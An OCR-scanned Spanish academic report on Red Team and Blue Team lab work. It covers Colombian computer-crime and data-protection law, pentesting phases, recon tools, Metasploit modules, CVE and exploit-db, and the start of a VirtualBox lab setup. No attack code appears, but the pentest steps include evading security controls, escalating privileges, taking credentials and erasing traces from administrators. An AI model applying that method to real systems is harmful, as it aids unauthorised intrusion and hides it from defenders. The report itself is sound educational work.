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RESUMEN

La seguridad informatica se ha convertido en un elemento fundamental para la
sociedad actual ya que una vulnerabilidad en cualquier sistema de computacién o
comunicaciones conectado a una red puede llegar a desencadenar un ciber ataque
gue detenga procesos clave para el funcionamiento continuo de una empresa o
incluso un paist. Dentro de esta rama de conocimiento e investigacion destaca la
existencia de grupos de trabajo dedicados a implementar estrategias que permitan
identificar vulnerabilidades y crear protecciones efectivas ante ellas, a estos grupos
se les denomina Blue Team & Red Team y dentro de este documento se podran
observar un conjunto de actividades realizadas desde el punto de vista de ambos
grupos en pro de analizar, identificar y subsanar brechas de seguridad en un
ambiente controlado.

L REUTERS. More tan 50 Colombian state, private entities hit by cyberattack. Reuters [www.reuters.com]. (09,
septiembre, 2023). [Consultado el 28. Septiembre. 2023]. Disponible en:
<https://www.reuters.com/world/americas/more-than-50-colombian-state-private-entities-hit-by-
cyberattack-petro-2023-09-18/>
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GLOSARIO
CVE: Base de datos de vulnerabilidades que permite obtener datos como la fecha
de descubrimiento, alcance, sistemas afectados.

EXPLOIT: Programa que se aprovecha de una vulnerabilidad existente en un
sistema.

GPL: Licencia de uso libre ampliamente usada en software.

Hardenizacion: Proceso para elevar los niveles de seguridad de un equipo de
computacion.

Payload: Una carga util encargada de ejecutar comandos y conexiones remotas.
Pentesting: La practica que busca encontrar vulnerabilidades.
SIEM: Software de seguridad orientado a monitoreo de eventos.

XDR: Software de seguridad encargado de la deteccion y respuesta extendida.



1. INTRODUCCION

Mediante el uso de laboratorios en entornos controlados se realizara la recreacion
de eventos reales en los cuales un atacante puede aprovechar una vulnerabilidad
informatica en un equipo de computacion, posteriormente se tendréa la oportunidad
de conocer estrategias que permitan identificar y subsanar las brechas de seguridad
gue han hecho posible el primer ataque y que a su vez estas estrategias protejan
de futuros eventos en los cuales laintegridad de los datos y seguridad de laempresa
puedan verse comprometidos.



2. OBJETIVOS
OBJETIVO GENERAL

e Generar un informe tenido que permita dar a conocer actividades de Red
Team & Blue Team desarrolladas dentro de los laboratorios controlados.

OBJETIVOS ESPECIFICOS

e Comprender normativas aplicables a las tecnologias de informacion y
comunicacion modernas.

e Comprender tipos de pen testing y la importancia que tienen los CVE dentro
de estos.

e Crear un banco de trabajo o laboratorio controlado mediante el cual se
puedan recrear actividades relacionadas con Blue Team & Red Team

e Comprender el marco legal de un contrato de acuerdo a las normas
Colombianas que rigen los procesos de contratacién actuacion y las normas
éticas de los ingenieros en Colombia.

e Recreacion evento de seguridad HackerHouse

e Realizar un proceso completo de helenizacibn que busque elevar la
seguridad del usuario al maximo.



3. NORMATIVAS Y LEYES

Inicialmente se hace necesario comprender las leyes y normas que protegen o
castigan toda actividad informatica dentro de la Republica de Colombia.

3.1 LEY 1273 DE 2009 — LEY 1581 DE 2012 (REPUBLICA DE COLOMBIA)
Ley 1273 de 20092

Esta ley contempla las bases del delito informatico en la Republica de Colombia.
Dentro de los siguientes articulos se dardn a conocer lineamientos basicos de
comportamiento que todo ciudadano debe cumplir en lo que respecta al acceso a la
informacion, sistemas informaciones y canales de telecomunicaciones.

Articulo 269A: Este articulo menciona que se encuentra prohibido y es ilegal
ingresar a cualquier sistema pese a que este se encuentre sin proteccion, ejemplo
acceder a una red WIFI que no tenga clave se considera delito ya que se realiza el
ingreso sin estar autorizado por el propietario de esta.

Articulo 269B: Realiza una aclaracién que puede ser adaptada a los casos de
Ransomware en los cuales se bloquea el acceso a la informacion privada o publica
de otros. También puede aplicarse al uso de los inhibidores de sefial que pueden
bloquear el libre acceso de los usuarios a esta e incluso a las transmisiones de radio
en bandas previamente autorizadas a empresas o terceros.

Articulo 269C: Especifica que el acto de interceptar una transmision sea esta
cableada o inalambrica es totalmente ilegal, en esto también entra el Articulo 269A
ya que pese a que una sefial no se encuentre encriptada no quiere decir que este
permitiendo que un tercero acceda a ella sin autorizacion.

Articulo 269D: Habla sobre el dafio que cualquier persona pueda realizar borrando
datos de un sistema sin autorizacion sea de manera voluntaria o involuntaria, esto
podria aplicar para los casos actuales de Ransomware.

Articulo 269E: En la actualidad el comercio de virus por medio de la web genera
bastantes ingresos econdmicos tanto para quien produce como para quien compra,
comercializa y realiza uso de ellos comete un delito.

2 CONGRESO DE LA REPUBLICA. LEY 1273 DE 2009 [En linea]. Bogotd, Colombia. Congreso de la republica, 2009
[Consultado el 13, agosto, 2023]. pp 1-5. Disponible en internet: <
https://normograma.mintic.gov.co/mintic/docs/pdf/ley_1273_2009.pdf>



Articulo 269F: Habla sobre la distribucién y comercializacién de datos personales
en la web sin previa autorizacion, adicional también la modificacion de estos sin
autorizacion de su propietario cuando se trate de datos sensibles.

Articulo 269G: Hace referencia a la suplantacion de sitios web, algo bastante
comun en la actualidad donde se hace uso de técnicas como spoofing® para
suplantar reconocidos sitios como por ejemplo bancos del pais y posteriormente
realizar extraccion no autorizada de dinero.

Articulo 269H: Este articulo menciona que cualquiera de los anteriores delitos
puede aumentar en pena si este es realizado sobre o en empresas del sector estatal
o financiera.

Articulo 269I: Indica que la persona o personas que mediante procesos complejos
de ingenieria e ingenieria social* logren quebrantar los niveles de seguridad de
cualquier entidad tendran penas de mayor dureza.

Articulo 269J: Este articulo menciona algo que se vive dia a dia en Colombia y es
el hurto de dineros en aplicaciones financieras o bancos mediante diferentes
modalidades, sea por descuido engafio u otros medios.

Ley 1581 de 2012°

Dentro de esta ley se contemplan 30 articulos de los cuales se lograra observar una
breve descripcién a continuacion.

Articulo 1: Los datos personales pueden llegar a ser invaluables ya que en estos
no solo contienen ndmeros que indican un usuario 0 persona, se incluyen en
algunos casos una vida completa la cual puede llegar a verse afectada si su
informacién es divulgada afectando su derecho a la intimidad y buen nombre de
acuerdo con el articulo 15 de la constitucion politica de Colombia.

Articulo 2: Determina a que tipos de bases de datos sera aplicada esta ley
exceptuando bases de datos personales, domesticas, gubernamentales y toda
aquella base de datos que contenga informacion utilizada para proteger la seguridad
nacional.

3 KASPERSKY. What is Spoofing — Definition and Explanation. Kaspersky [www.usa.kaspersky.com]. (2023).
[Consultado el 13, agosto, 2023]. Disponible en internet: < https://usa.kaspersky.com/resource-
center/definitions/spoofing>

4 KASPERSKY. What is Social Engineering?. Kaspersky [www.usa.kaspersky.com] . (2023). [Consultado el 13,
agosto, 2023]. Disponible en internet: < https://usa.kaspersky.com/resource-center/definitions/what-is-
social-engineering>

> CONGRESO DE LA REPUBLICA. LEY 1581 DE 2012 [En linea]. Bogota, Colombia. Congreso de la republica,
2012 [Consultado el 13, agosto, 2023]. Disponible en internet: <
https://normograma.mintic.gov.co/mintic/docs/pdf/ley_1581_2012.pdf>
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Articulo 3: Establece las definiciones de: Autorizacion, bases de datos, Dato
personal, Encargando del tratamiento, responsables del tratamiento, Titular y
tratamiento.

Articulo 4. Este articulo se enfoca en temas como la claridad de la informacién
tratada, la restriccion del acceso a la misma en blsqueda de proteger al usuario y
su privacidad, y el derecho a solicitar modificacion sobre cualquier tipo de
informacion almacenada siempre y cuando sea solicitado por el titular.

Articulo 5: Habla sobre lo que son los datos sensibles de la poblacién, como lo
pueden ser sus origenes étnicos, su orientacion sexual, politica o religiosa.

Articulo 6: Se encuentra prohibido el uso de estos datos a menos que hayan sido
autorizados por el usuario (Lo importante de leer los términos y condiciones) o que
si este no lo puede autorizar por motivos fisicos o juridicos que le incapaciten y
autorice a un tercero o representante legal.

Articulo 7: Es dedicado a la proteccién de la informacién de nifios, nifias y
adolescentes.

Articulo 8: Menciona ciertos derechos a los cuales tiene acceso el titular de los
datos suministrados, como solicitar la actualizacién modificacion o eliminacién de
los mismos. Adicionalmente le da la facultad para solicitar el documento grabacion
y 0 autorizacién donde esté en el pasado autorizo el tratamiento de sus datos.

Articulo 9: Obliga a tener una autorizacion previa para el manejo de datos.

Articulo 10: Existen diversos escenarios en los cuales las autorizaciones no son
requeridas como por ejemplo: casos de urgencias médicas o sanitarias, tratamiento
de datos por parte del gobierno para fines histéricos, estadisticos o cientificos etc.

Articulo 11: Obliga a suministrar informacion de facil lectura sin bloqueos de acceso
a la misma.

Articulo 12: Explica que al momento de solicitar datos debe ser claro el para que
seran solicitados, existiran algunos datos obligatorios y se deberan aplicar
limitaciones en el caso de solicitarse a menores de edad.

Articulo 13: Indica a que tipo de personas incluyendo el titular se les puede
suministrar la informacién de una base de datos, adicionando los representantes
legales de los titulares, entidades publicas o administrativas y terceros que se
encuentren previamente autorizados por la ley.
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Articulo 14: Brinda un método de proteccion adicional en el cual garantiza que una
vez el titular solicite los datos que cualquier entidad posea sobre el deberan ser
entregados en un tiempo estimado de 10 dias.

Articulo 15: Establece los pasos necesarios que debera realizar el titular de los
datos para solicitarlos.

Articulo 16: Indica que el titular puede reclamar ante la Super intendencia de
industria y comercio siempre y cuando ya hubiese agotado todos procedimientos
posibles con la entidad encargada de sus datos.

Articulo 17: Proporciona unos lineamientos basicos para la proteccion,
administracién y archivo de la informacion en pro de proteger la misma de
alteraciones realizadas por terceros asi como establecer manuales para el manejo
de la misma todo en pro de proteger la informacion.

Articulo 18: El encargado de los datos aparte de garantizar la seguridad de la
informacion debera tener elementos que permitan establecer visualmente el
momento actual de una accion como por ejemplo el estado de un reclamo “reclamo
en tramite” o si fuese el caso frases como “Informacién en discusion judicial” en el
caso que se esté presentando un proceso judicial respecto a la calidad del dato
personal.

Articulo 19: Establece que la autoridad encargada de la proteccion de datos sera
la Super intendencia de industria y comercio.

Articulo 20: Determina que los recursos econdmicos con los cuales la
superintendencia de industria y comercio saldran directamente del presupuesto
general de la nacion.

Articulo 21: Indica que la super intendencia de industria y comercio debe brindar
funciones que permitan velar por el cumplimiento de la legislacion en cuanto a los
datos personales se refiere, realizar investigaciones en donde halla lugar, indicar el
bloqueo o desbloqueo de datos, promover y divulgar los derechos y deberes de
guienes almacenan esos datos y de quienes los suministran.

Articulo 22: Informa que la super intendencia de industria y comercio tiene
facultades para interponer sanciones por el mal manejo de los datos.

Articulo 23: La super intendencia de industria y comercio podra imponer sanciones
de caracter personal hasta por 2 mil salarios minimos mensuales vigentes, cierre
de las operaciones relacionadas con el tratamiento de datos, e incluso cierre total
de todo lo que involucre con el tratamiento de datos (empresa)

12



Articulo 24: Las sanciones que se podran imponer seran determinadas por el dafio
o peligro causado, el beneficio econdmico que quien las administra hubiera tenido,
y seran mayores cuando estos actos sea de reincidencia o bloqueen cualquier
proceso de investigacion.

Articulo 25: Da a conocer que existe un registro nacional de bases de datos el cual
es publico y que se encuentra administrador por la super intendencia de industria y
comercio.

Articulo 26: Exige que la transferencia de datos desde Colombia hacia otros paises
se realice verificando que el pais de destino tiene niveles de seguridad que le
permitan garantizar la proteccion de la informacion, esto no aplica para casos como
las transferencias bancarias, datos médicos, solicitud del titular entre otros.

Articulo 27: El gobierno debera disefiar y socializar reglamentaciones que
permitan a las empresas y entidades ejecutar buenas practicas en cuanto al manejo
de datos.

Articulo 28: Establece tiempo limite de 6 meses para que desde la entrada en
funcionamiento de la ley las personas se puedan capacitar.

Articulo 29: Deroga leyes anteriores que no se encuentren incluidas en el articulo
2.

RESUMEN

Costos por infracciones: Estos se determinaran en salarios minimos mensuales
vigentes y podran llegar a tener un techo de 2000 SMMV.

Tiempo de carcel por infracciones: Se pueden aplicar penas de hasta 96 meses
de prision.

Entidades encargadas: Superintendencia de industria y comercio para fines de

tratamiento de datos. Ministerio de interior y de justicia delegando a las entidades
juridicas y legales correspondientes.

4. PENTESTING
Los test de penetracibon son procesos centrados en ubicar y explorar

vulnerabilidades de seguridad en sistemas de computacion o comunicaciones
siguiendo diferentes etapas las cuales permiten: ubicar, corregir y documentar (este

13



ultimo opcional) dicho proceso® ya sea con fines positivos o negativos para el
propietario del sistema. Los test de penetracion que de ahora en adelante seran
llamados Pentesting suelen ser usados para: evaluar, proteger o atacar los dichos
sistemas informaticos o de telecomunicaciones mediante modalidades las cuales
se encuentran a continuacion:

4.1 TIPOS DE PENTESTING Y SUS PASOS

e (Black Box Pentesting) en la cual no se proporciona ningun dato interno del
sistema.

e (White Box Pentesting) donde es posible tener la informacion completa del
sistema como lo es la arquitectura y estructura de la red a evaluar. Y
finalmente se tiene el método.

e (Gray Box Pentesting) modalidad en la cual el propietario del sistema brinda
datos de acceso limitados y se simula un ataque externo’ para buscar fallos
y posteriormente mejorar la seguridad o completar el ataque.

Dentro de internet es posible encontrar diferentes puntos de vista sobre los pasos
gue se deben realizar a la hora de iniciar un Pentesting, a continuacion, en la tabla
1 posible observar los 4 pasos mas comunes sugeridos a la hora de realizarlo®.

Tabla 1 Pasos del Pentesting

Paso 1 Paso 2 Paso 3 Paso 4
Reconocimiento Escaneo Obtenciéon de Mantener el
acceso acceso

Fuente: Elaboracion propia
A continuacion, se describira cada paso a detalle teniendo especial inmersion en el

paso 1 el cual se considera es el mas importante ya que definira el objetivo sin que
sea descubierto o bloqueado.

Paso 1 - Definir objetivo

& ANIEI. Transformacién digital de las instituciones educativas [En linea]. Publicacién . Ciudad de Mexico,
Mexico. ANIEI, 2022 [Consultado el 13, de agosto, 2023]. pp 45. Disponible en internet:
<http://www.aniei.org.mx/Archivos/Libros/Libro2022.pdf#page=45>

7 MANDOT, Manju. A Comprehensive Literature Review of Penetration Testing & Its Applications [En linea].
Articulo cientifico. Udaipur, Rajasthan, India. Janardan Rai Nagar Rajasthan Vidyapith, 2020 [Consultado el 13,
agosto, 2023]. pp 2. Disponible en internet: <https://ieeexplore.ieee.org/document/9197961>

8 SHIVANGI, Sharma. A Common Pentest Output Schema for Business Intelligence System Ingestion [En linea].
Articulo cientifico. Nueva York, Estados Unidos. Rochester Institute of Technology, 2023 [Consultado el 13,
agosto, 2023] Disponible en internetL < https://ieeexplore.ieee.org/abstract/document/10159688 >
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Reconocimiento: Sin duda alguna es importante saber cuél serd el objetivo por
analizar, esto dependiendo de si se tiene o no informacion sobre él. Para el caso
puntual en este documento se describira el proceso a realizar cuando la modalidad
es (Black Box Pentesting) es decir cuando no se tiene ninguna informacion y se
debe empezar desde cero.

Durante este primer paso se deberan obtener la mayor cantidad de datos publicos
y privados posibles del objetivo seleccionado, a continuacion, se observan algunos
de los mas comunes y necesarios para iniciar.

e Nombre del objetivo u empresa.
e Direcciones IP publicas.
o Puertos abiertos.
o Servicios de DNS.
o Servicios SSH.
e Direcciones fisicas.
e Dominios publicos.
o Sub dominios de uso privado.
e Servidores de correo.
o POP, POP3, IMAP.
e Servidores de hosting.
o Servicios de FTP, Cloud, HTTP, HTTPS, IMCP/UDP/TCP.
e Servicios de aplicaciones en linea
o De consulta e ingreso de datos.
e Servidores de escritorio remoto.
o RDP, Telnet, VNC, LDAP.
e Topologia de red.

La obtencion de datos anteriores es posible de realizar mediante el uso de diversas
herramientas como navegadores de internet, aplicaciones incluidas dentro de los
sistemas operativos o aplicativos gratis y de pago que pueden ser descargados y
obtenidos desde repositorios en linea. Para fines practicos en la tabla 2 se mostrara
una lista de algunas aplicaciones con su propésito y el tipo de licencia que poseen
cada una.

Tabla 2 Aplicaciones para realizar reconocimiento en Pentesting

Nombre Funcion Tipo de licencia
Aplicativo
TheHarvester Recopila informacion publica de manera Cddigo Abierto / APIs de pago

automatizada, dentro de los datos
recolectados ubicada sub dominios de
internet, personas conectadas con la
empresa (en redes sociales como
LinkedIn), direccion de servidores de correo
electrénico, cédigo de pais entre otros.

15



Whols Permite identificar datos del propietario de De acceso gratuito en linea
un dominio de internet cuando este se
encuentra publico, en estos datos sera
posible encontrar nombres de empresas,
direcciones fisicas, niumeros de contacto,
correos electrénicos

Hping Realizar envi6 personalizado de paquetes Cadigo abierto
IMCP/UDP/TCP, testeo de reglas de
firewall, escaneo de puertos, comprueba el
rendimiento de la red ante diferentes
protocolos, realizar descubrimiento MTU
(tamafio maximo de transmision de
paquetes sin fragmentar). °

Nmap Permite realizar el escaneo de direcciones Cddigo abierto
IP simples en grupo o rangos establecidos
para extraer datos como disponibilidad de
los host, version del sistema operativo,
servicios hospedados y activados entre
otras funciones esenciales para la auditoria
de redes. 1°

Spiderfoot Es una poderosa herramienta que permite Cddigo abierto
realizar una analisis riguroso de una
direccion IP o dominio y proporciona un
resumen bastante detallado donde se
pueden encontrar elementos como: Sub
direcciones, sub dominios, servicios, tipos
de sistema operativos instalados entre
otros'’.

Recon ng Herramienta de reconocimiento que permite  Cédigo abierto
mediante su interface de linea de
comandos realizar un andlisis que permite
visualizar datos del objetivo como sus sub
dominios, servicios y posteriormente
exportarlos?.

dmitry Escanea servidores en bisqueda de Cadigo abierto
informacion referente al host, los sub
dominios, direcciones de internet, tiempo en
linea, puertos tcp entre otros datos que
permiten conocer mas datos sobre un
dominio o host*3.

9 OFFSEC Services Limited. hping3 Usage Example. KALI [www.kali.org]. (05, agosto, 2022). [Consultado el 13,
agosto, 2023]. Disponible en internet: <https://www.kali.org/tools/hping3/>

10 GORDON, Lyon. Chapter 15. Nmap Reference Guide. NMAP [www.nmap.org]. [Consultado el 13, agosto,
2023] Disponible en internet: <https://nmap.org/book/man.html>

11 MICALLEF, Steve. Spiderfoot. Github [www.github.com]. (23, mayo, 2023). [Consultado el 13, agosto, 2023].
Disponible en internet: < https://github.com/smicallef >

12 TOMES, Tim. The Recon-ng Framework. Github [www.github.com]. (23, junio, 2020). [Consultado el 13,
agosto, 2023]. Disponible en internet: <https://github.com/lanmaster53/recon-ng/wiki >

13 OFFSEC Services Limited. Dmitry Tool Documentation. [Consultado el 13, agosto 2023]. Disponible en linea:
< https://www .kali.org/tools/dmitry/>
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amass Al igual que anteriores aplicaciones permite  Cédigo abierto
recopilar informacion sobre un host y datos
clave como DNS, Datos de whaois, lista de
sub dominios entre otros. Adicional se
puede conectar externamente a buscadores
de internet para obtener toda la informacién
posible.

Maltego Esta herramienta permite tener un andlisis Caddigo abierto / Version de
con informe grafico sobre gran variedad de  pago
datos que se conectaran visualmente ya
sean de un dominio o servidor, aunque
también tiene otros usos mas avanzados a
los cuales se puede acceder por medio de
una version paga.'*

Metasploit Permite realizar labores de reconocimiento,  Cddigo abierto / Version de
envio de cargas, evasion de sistemas de pago
seguridad, mantener el acceso, explotar
vulnerabilidades. Proporciona gran cantidad
de herramientas en un solo lugar lo que lo
hace ser uno de los marcos de seguridad
mas reconocidos a nivel mundial.

Fuente: Elaboracién propia
IMPORTANCIA DEL PENTESTING

En este momento ya es facil comprender la importancia del primer paso llamado
reconocimiento debido a que este permitira identificar el objetivo, realizar un mapeo
de sus elementos visibles publicamente para posteriormente iniciar el proceso de
planificacion de una estrategia de intrusion que cumpla con los objetivos planteados
inicialmente. Cabe mencionar que este primer proceso se debe realizar con
bastante cautela ya que no se quiere llegar a alertar a los sistemas de seguridad
por lo cual se recomienda realizar uso de las herramientas presentes dentro de meta
exploit para lograr la evadir controles de seguridad.

Paso 2 - Escaneo

Teniendo en cuenta que en el paso 1 ya se deben tener algunos datos como
direcciones IP, dominios y sub dominios de internet como también correos
electronicos, en el paso 2 se procedera a desplegar las herramientas de escaneo,
en este caso se sugiere realizar uso de nmap para lograr de esta manera empezar
a conocer la estructura general sobre la cual funciona el objetivo.

Conocer elementos como puertos abiertos, sistemas operativos, servicios
prestados al publico, ubicacion geogréfica y datos adicionales de empleados
permitird avanzar rapidamente en la planificacion del ataque para obtener acceso.

14 MALTEGO. What is Maltego. Maltego [www.maltego.com]. 2023. [Consultado el 13, agosto, 2023].
Disponible en internet: <https://www.maltego.com/product-features/>
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En este punto las bases de datos como CVE permitirAn comparar informacién
obtenida del hardware y software de objetivo e identificar si existen vulnerabilidades
activas.

Paso 3 - Obtencion de acceso

En este proceso se suelen utilizar herramientas de automatizacion como lo pueden
llegar a ser nmap, hydra, medussa, john the Ripper entre otras. Estas herramientas
iran directamente de la mano con sitios web como por ejemplo www.explit-db.com
en los cuales se brindan archivos de cdédigo que pueden ser aplicados al objetivo
en caso de que la vulnerabilidad anteriormente encontrada en los CVE se encuentre
presente.

Paso 4 — Mantener acceso

Una vez dentro del sistema es necesario realizar un escalado de privilegios y de ser
posible obtener credenciales del sistema con altos privilegios tratando de borrar
cada paso que se realice para no levantar sospechas en los administradores del
sistema. Estas actividades se pueden realizar con cédigo propio o mediante el uso
de herramientas como metasploit.

4.2 CVEY SU ESTRUCTURA - EXPLOIT DB
METAESPLOIT

Es un marco de aplicaciones de seguridad informatica en el cual es posible
encontrar diversos modulos y herramientas que pueden ser usadas en los pasos de
andlisis, acceso, explotacion y mantenimiento del acceso en un sistema informético
ya sea para fines de auditoria o intrusion®®.

Internamente se encuentra compuesto por siete médulos los cuales le permiten
almacenar diversas herramientas que lo hacen tan especial y usado por muchos
profesionales en procesos de seguridad informética, a continuacion, se pueden
observar los médulos presentes.

e Auxiliar: Este médulo se encarga de procesos de analisis, obtencién de
informacion, denegacion de servicio, escaneo, asi como de ejecutar
servidores de administracion de archivos en SMB, FTP entre otros.

e Codificador: Se encuentra encargado de cambiar y codificar las cargas que
sean enviadas.

15 RAPID1. Metasploit modules. Metasploit. [www.docs.metasploit.com]. 2023. [Consultado el 13, agosto,
2023]. Disponible en internet: <https://docs.metasploit.com/docs/modules.html >
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e Evasion: Permite toma las cargas creadas por el codificador y hace que
estas se salten sistemas de seguridad como lo es Windows Defender
(antivirus base del sistema operativo Windows)

e Exploit: Contiene diversos exploits que pueden vulnerar los sistemas
aprovechando vulnerabilidades encontradas.

e NOP: Es responsable de alinear la informacién de carga en la memoria y
evita que esta pueda dafarse, funciona bajo lenguaje ensamblador
usualmente.

e Payload: Se encarga de gestionar cargas remotas mediante las cuales se
pueden ejecutar cédigos por ejemplo de SSH.

e POST: Luego de lograr acceder satisfactoriamente a un sistema habiendo
explotado sus vulnerabilidades es necesario utilizar herramientas que
permitan mantener el acceso a este, el mddulo POST contienen
herramientas que ayudan a garantizar el acceso a sistemas como (Android,
I0S, bsd, Firefox, Linux, Windows entre otros.

En cuanto al funcionamiento de metasploit este puede ser ejecutado usando una
de las 3 siguientes opciones:

1. MSFCONSOLE: Modo base de uso para metasploit donde acciones como
configuracion, uso de moédulos, ejecucién de comandos y de exploits sera
realizada unicamente mediante linea de comandos.

2. ARMITAGE: Es un complemento que le permite a metasploit mostrar
resultados de manera mas grafica interconectandolos entre si.

3. WEB Ul: Es una forma de acceder a metasploit mediante el uso de una
interfase grafica web, esto hace que no sea tan necesario recordar largas
lineas de comandos.

DECRICPION DEL CV

En el afio de 1999 es iniciado el proyecto de CVE (common vulnerabilites and
exposures) que pretendia recopilar informacion sobre las vulnerabilidades
descubiertas en sistemas de computacion, mas adelante el gobierno de Estados
Unidos decide apoyar el proyecto y a este se unen varias empresas con el objetivo
de tener una gran base de datos con vulnerabilidades que le permitiera a los
profesionales de tecnologia cerrar brechas de seguridad de sus sistemas, aunque
con el tiempo esto dejo de servir para su propdsito inicial y paso a también
convertirse en una herramienta bastante atractiva para quienes querian ingresar de
manera no autorizada a sistemas de computacion?®.

16 PETCU, Alina. What Is a CVE? Common Vulnerabilities and Exposures Explained. Heimdal
[www.heimdalsecurity.com]. (06, junio, 2023). [Consultado el 13, agosto, 2023]. Disponible en internet: <
https://heimdalsecurity.com/blog/what-is-a-cve/ >
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ESTRUCTURA

Cada vulnerabilidad encontrada debe ser indexada en la base de datos del
proyecto utilizando el siguiente formato?!’.

CVE-YYYY-NNN : En donde las letras YYYY representan el afio de
publicacién y las NNN el nimero de vulnerabilidad, a partir del 2014 el
namero de vulnerabilidad supero los 999 asi que se agregdé una N mas al
formato.

Dentro de cada CVE es posible encontrar una estructura indicando:

Descripcion de la vulnerabilidad: Indica que sistema se esté viendo afectado.
Referencias: Proporciona referencias externas sobre la vulnerabilidad.

CNA Asignado: Organizacién encargada y responsable de la administracion
de CVE, se asegura de hacer un seguimiento al CVE.

Fecha de creacion del CVE: Establece cuando fue creado el CVE (mas no la
fecha desde la que empez6 a ser explotada la vulnerabilidad)

Fase: Indica la complejidad del codigo utilizado para la explotacion.

Votes: Presentaba la opinion colectiva de un grupo de expertos sobre la
vulnerabilidad descubierta.

Comentarios: Da a conocer opiniones que en algunos casos podrian sugerir
soluciones momentaneas a la vulnerabilidad.

Propodsito: Determina lo que puede hacer un atacante si descubre esa
vulnerabilidad.

llustracion 1 Imagen de ejemplo CVE

CVE-ID
CVE-2022-22015 Learn more at Nations
-cvss “Fe

erability Database (NVD)
Vers)

¥ s + SCAP Mappings « CPE
Infarmation

Description
Windows Remote Deskiop Protocol (RDP} Information Disciosure Vuinerabiity.

20211216 Disclaimer: The record creation date may reflect wh
nat necessaril ly indicate when this vuinerabiity was discave
ated in CVE.

ien the CVE 1D was allocated or reserved,
rered, shared with the

affected vendor, publicl disclosed, or updated in CVE

Assigned (20211216)
Votes (Legacy)

Comments (Legacy)

For More Infarmation: CvE (select "Other” from dropdown)

Fuente: CVE

17 Red Hat Eterprise Linux. What is a CVE?. Red Hat [www.redhat.com]. (25, noviembre, 2021). [Consultado el
13, agosto, 2023]. Disponible en internet: <https://www.redhat.com/en/topics/security/what-is-cve>
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EXPLOIT-DB

La base de datos CVE anterior socializada pretende dar a conocer vulnerabilidades
descubiertas, en el caso del sitio web www.exploit-db.com este proporciona una
amplia libreria de donde pueden ser descargados o copiados los codigos utilizados
para aprovechar vulneraciones de seguridad, un ejemplo de esto son las
vulnerabilidades en dispositivos de red con firmware desactivados ya que al tener
acceso a este sitio web una atacante puede descubrir que su victima posee un
dispositivo con un firmware obsoleto el cual puede vulnerar haciendo uso del cédigo
que puede descargar desde el sitio web.

Cabe mencionar que estos codigos no solo se encuentran disefiados para
aprovechar vulnerabilidades en dispositivos de red también permite encontrar
cbdigo aplicable a sitios web, servidores, aplicaciones y en algunos dispositivos de
IOT.

ARTICULACION ENTRE CVE Y EXPLOIT-DB

El CVE proporcionara datos sobre las vulnerabilidades e indica al usuario que debe
realizar acciones como actualizacién del sistema y el exploit-db proporciona
herramientas para aprovechar dicha vulnerabilidad. Se puede decir que la
articulacion entre ambos se puede ver como una carrera en la que el mas rapido
tiene la ventaja para proteger o atacar.

5. CREACION BANCO DE TRABAJO

A continuacion, sera posible observar el paso a paso para realizar el montaje de un
banco de trabajo virtual ejecutado mediante la plataforma de virtualizacion Virtual
Box'®. Sobre dicha plataforma se ejecutardn dos maquinas virtuales con los
sistemas operativos Windows 10 y Linux Kali cada una respectivamente, cabe
mencionar que durante este proceso serd posible conocer las caracteristicas de
Hardware asignado a cada maquina incluyendo la configuracién de red que les
permita comunicarse entre ellas.

PASO A

Construir un entorno de virtualizacion requiere de un gestor acorde a las
necesidades de ejecucion de software y las caracteristicas de hardware que posea
el equipo HOST (equipo desde el cual se ejecutara el gestor de maquinas virtuales
y las maquinas creadas). Para esta actividad se utilizara el gestor de maquinas

18 Oracle Company. About VirtualBox. VIRTUAL BOX [www.virtualbox.org]. 2023. [Consultado el 07, agosto,
2023]. Disponible en <https://www.virtualbox.org/wiki/VirtualBox>
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virtuales Virtual Box que siendo OpenSource lo convierte en una de las mejores
alternativas costo beneficio.

En el caso actual se ha descargado el instalador desde el sitio oficial utilizando la
url https://www.virtualbox.org/wiki/Downloads y descargando la versibn mas
reciente que es la : 7.0.10 para plataforma macOS / Intel, al momento de abrir el
instalador se muestra un icono llamado VirtualBox.pkg al cual dandole doble clic
mostrara el proceso de instalacion.

llustracion 2 Instalador VirtualBox

e0e ) virtualBox

1 Double click on this icon:

o

VirtualBox.pkg

UserManual.pdf

\i

'n“algo)(

Run the VirtualBox application
from the Applications Folder:

e— -

»

Applications

VirtualBox_Uninstall.tool

Fuente: Elaboracion propia

Posterior a realizar la instalacion sera posible abrir el programa desde el menu de
inicio y este mostrara la siguiente ilustracion como pantalla de bienvenida al
programa.

llustracion 3 Pantalla de inicio VirtualBox

Fuente: Elaboracion propia
PASO B
Para el presente banco de pruebas serd necesario crear dos maquinas virtuales las
cuales ejecuten sistema operativo Windows y Linux Kali. Con lo cual a continuacion

sera detallado inicialmente el proceso de creacion de la maquina virtual que
ejecutara el sistema operativo Linux Kali.
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CREACION MAQUINA VIRTUAL LINUX KALI

A. Descarga instalador sistema operativo: Esta descarga es posible realizarla
de manera gratuita desde el sitio web https://www.kali.org/get-kali/#kali-

platforms seleccionando la opcion Installer como se observa en la siguiente
ilustracion.

llustracion 4 Sitio de descarga Linux Kali

Kali Linux 2023.2 Changelog *

I
az=
o

T—

Installer

® 8 8

Nettnstaller

Fuente: Elaboracion propia

B. Ahora desde el menu principal de Virtual Box se dara clic en crear maquina
virtual, en la primera imagen se solicitara asignar un nombre a la maquina,

su ubicacion y el medio de instalacion deseado.

llustracién 5 Creacion maquina virtual Linux Kali

Create Virtual Machine

e0e
— Virtual machine Name and Operating System
Please choose a descriptive name and destination folder for the new virtual machine The name you choose will
used throughout VirtualBox to identify this machine.Additionally you can select an ISO image which may be
used to install the guest operating system.
Name: Linux Kali HakerHouse L4
Folder: [ /Users/charlie/ VirtualBox VMs [~]
ISO Image: | [UsersfcharliejDownloads/kali-linux-2023. 2a-installer-amd6d.isa
- .~
>
| = (@ Detected 0S type: Ubuntu (64-bit). This OS type cannot be installed unattendedly. The install
———— needs o be started manually.
Help Expert Mode Next Cancel

Fuente: Elaboracion propia
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C. A continuacion, se realizard la asignacion de recursos virtuales para la
ejecucion de la maquina virtual, en este caso se le ha asignado 16gb de
memoria RAM y 4 nlcleos del procesador. Posteriormente se observara la
asignacién de espacio del disco duro virtual que sera de 120gb.

llustracion 6 Asignacion de recursos virtual

e e Create Virtual Machine

Hardware

You can modify virtual machine's hardware by changing amount of RAM and virtual CPU count
Enabling EF! is also possible

Base Memory: 16384 M8
ams 65536 MB
Processors: 4l

1cPU 12 CPUs

Enable EFI (special OSes only)

&

Fuente: Elaboracién propia

llustracién 7 Asignacion de disco duro virtual

L I Create Virtual Machine

Virtual Hard disk

1f you wish you can add a virtual hard disk o the new machine You can either create a new hard
